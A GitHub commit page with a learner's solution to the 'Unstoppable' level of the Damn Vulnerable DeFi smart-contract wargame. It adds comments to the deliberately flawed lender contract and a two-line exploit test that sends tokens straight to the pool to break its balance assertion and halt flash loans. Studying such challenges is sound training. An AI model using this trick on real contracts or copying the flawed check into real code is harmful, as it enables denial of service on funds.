Skip to content

Commit

Permalink
solution theredguild#1
Browse files Browse the repository at this point in the history
  • Loading branch information
Cheng2046 committed Jul 28, 2022
1 parent d790a49 commit a43508f
Show file tree
Hide file tree
Showing 4 changed files with 43 additions and 21 deletions.
12 changes: 8 additions & 4 deletions contracts/DamnValuableNFT.sol
Original file line number Diff line number Diff line change
Expand Up @@ -7,9 +7,9 @@ import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

/**
* @title DamnValuableNFT
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice Implementation of a mintable and burnable NFT with role-based access controls
* @title DamnValuableNFT
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice Implementation of a mintable and burnable NFT with role-based access controls
*/
contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl {
using Counters for Counters.Counter;
Expand All @@ -22,7 +22,11 @@ contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl {
_setupRole(MINTER_ROLE, msg.sender);
}

function safeMint(address to) public onlyRole(MINTER_ROLE) returns (uint256) {
function safeMint(address to)
public
onlyRole(MINTER_ROLE)
returns (uint256)
{
uint256 tokenId = _tokenIdCounter.current();
_safeMint(to, tokenId);
_tokenIdCounter.increment();
Expand Down
14 changes: 10 additions & 4 deletions contracts/unstoppable/ReceiverUnstoppable.sol
Original file line number Diff line number Diff line change
Expand Up @@ -10,24 +10,30 @@ import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ReceiverUnstoppable {

UnstoppableLender private immutable pool;
address private immutable owner;

//!Pool is the lender contract

constructor(address poolAddress) {
pool = UnstoppableLender(poolAddress);
owner = msg.sender;
}

// Pool will call this function during the flash loan
// !Pool will call this function during the flash loan

function receiveTokens(address tokenAddress, uint256 amount) external {
// !only the Pool contract can call this function
require(msg.sender == address(pool), "Sender must be pool");
// Return all tokens to the pool
require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
require(
IERC20(tokenAddress).transfer(msg.sender, amount),
"Transfer of tokens failed"
);
}

function executeFlashLoan(uint256 amount) external {
require(msg.sender == owner, "Only owner can execute flash loan");
pool.flashLoan(amount);
}
}
}
35 changes: 23 additions & 12 deletions contracts/unstoppable/UnstoppableLender.sol
Original file line number Diff line number Diff line change
Expand Up @@ -14,36 +14,47 @@ interface IReceiver {
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract UnstoppableLender is ReentrancyGuard {

IERC20 public immutable damnValuableToken;
uint256 public poolBalance;
IERC20 public immutable damnValuableToken; //! using IERC20 for DVT
uint256 public poolBalance; //! state variables tracking the bal

constructor(address tokenAddress) {
require(tokenAddress != address(0), "Token address cannot be zero");
damnValuableToken = IERC20(tokenAddress);
damnValuableToken = IERC20(tokenAddress); //!initialise the contract like I usually do
}

function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "Must deposit at least one token");
// Transfer token from sender. Sender must have first approved them.
damnValuableToken.transferFrom(msg.sender, address(this), amount);
poolBalance = poolBalance + amount;
poolBalance = poolBalance + amount; //! updating the state variables
}

//!.......................the flashLoan Function.......................

function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");

uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
uint256 balanceBefore = damnValuableToken.balanceOf(address(this)); //! current bal from balanceOf, not the state variables
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// Ensured by the protocol via the `depositTokens` function
assert(poolBalance == balanceBefore);

assert(poolBalance == balanceBefore); //! that's the problem, poolBalance and balanceBefore are from two different source

// *...... why need to call receiveToken after .transfer??.....

damnValuableToken.transfer(msg.sender, borrowAmount);

IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);


IReceiver(msg.sender).receiveTokens(
address(damnValuableToken),
borrowAmount
);

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
require(
balanceAfter >= balanceBefore,
"Flash loan hasn't been paid back"
);
}
//?suppose have to pay back more after the flashLoan?
//!.......................the flashLoan Function.......................
}
3 changes: 2 additions & 1 deletion test/unstoppable/unstoppable.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,8 @@ describe('[Challenge] Unstoppable', function () {
});

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const attackTokenContract = this.token.connect(attacker);
await attackTokenContract.transfer(this.pool.address, INITIAL_ATTACKER_TOKEN_BALANCE);
});

after(async function () {
Expand Down

0 comments on commit a43508f

Please sign in to comment.